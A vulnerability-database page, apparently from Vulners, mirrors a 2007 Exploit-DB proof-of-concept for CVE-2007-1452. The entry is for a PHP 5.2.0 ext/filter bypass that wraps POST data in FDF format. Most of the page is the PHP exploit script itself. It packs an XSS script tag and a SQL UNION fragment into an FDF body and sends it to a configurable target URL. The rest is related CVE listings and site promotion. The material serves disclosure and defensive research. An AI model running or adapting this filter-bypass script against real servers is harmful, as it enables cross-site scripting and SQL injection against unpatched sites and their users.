Lucene search
+L

PHP 5.2.0 - EXT/Filter FDF Post Filter Bypass

🗓️ 10 Mar 2007 00:00:00Reported by Stefan EsserType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

PHP 5.2.0 - EXT/Filter FDF Post Filter Bypas

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-1452
14 Mar 200718:00
cve
cvelist
Cvelist
CVE-2007-1452
14 Mar 200718:00
cvelist
euvd
EUVD
EUVD-2007-1446
14 Mar 200718:00
euvd
nvd
NVD
CVE-2007-1452
14 Mar 200718:19
nvd
openvas
OpenVAS
PHP < 5.2.1 Multiple Vulnerabilities
17 Aug 202000:00
openvas
openvas
OpenVAS
PHP < 5.2.1 Multiple Vulnerabilities
21 Jun 201200:00
openvas
nessus
Tenable Nessus
PHP < 5.2.1 Multiple Vulnerabilities
2 Apr 200700:00
nessus
prion
Prion
Input validation
14 Mar 200718:19
prion
redhatcve
RedhatCVE
CVE-2007-1452
30 Oct 201510:20
redhatcve
securityvulns
securityvulns
PHP CDFP extension cpdf_open information leak
10 Mar 200700:00
securityvulns
Rows per page
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //            PHP ext/filtet FDF POST Filter Bybass Exploit           //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // _POST is the array that will be sent to the url in $url
  $_POST = array();
  $_POST['var1'] = "<script>alert(/XSS/);</script>";
  $_POST['var2'] = " ' UNION SELECT ";

  $url = "http://127.0.0.1/info.php";

  // You do not need to change anything below this

  $outfdf = fdf_create();
  foreach ($_POST as $key => $value) {
    fdf_set_value($outfdf, $key, $value, 0);
  }
  fdf_save($outfdf, "outtest.fdf");
  fdf_close($outfdf);

  $ret = file_get_contents("outtest.fdf");
  unlink("outtest.fdf");

  $params = array('http' => array(
      'method' => 'POST',
      'content' => $ret,
      'header' => 'Content-Type: application/vnd.fdf'
  ));

  $ctx = stream_context_create($params);
  $fp = @fopen($url, 'rb', false, $ctx);
  if (!$fp) {
    die("Cannot open $url");
  }
  $response = @stream_get_contents($fp);

  echo $response;
  echo "\n";
?>

# milw0rm.com [2007-03-10]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.05153
48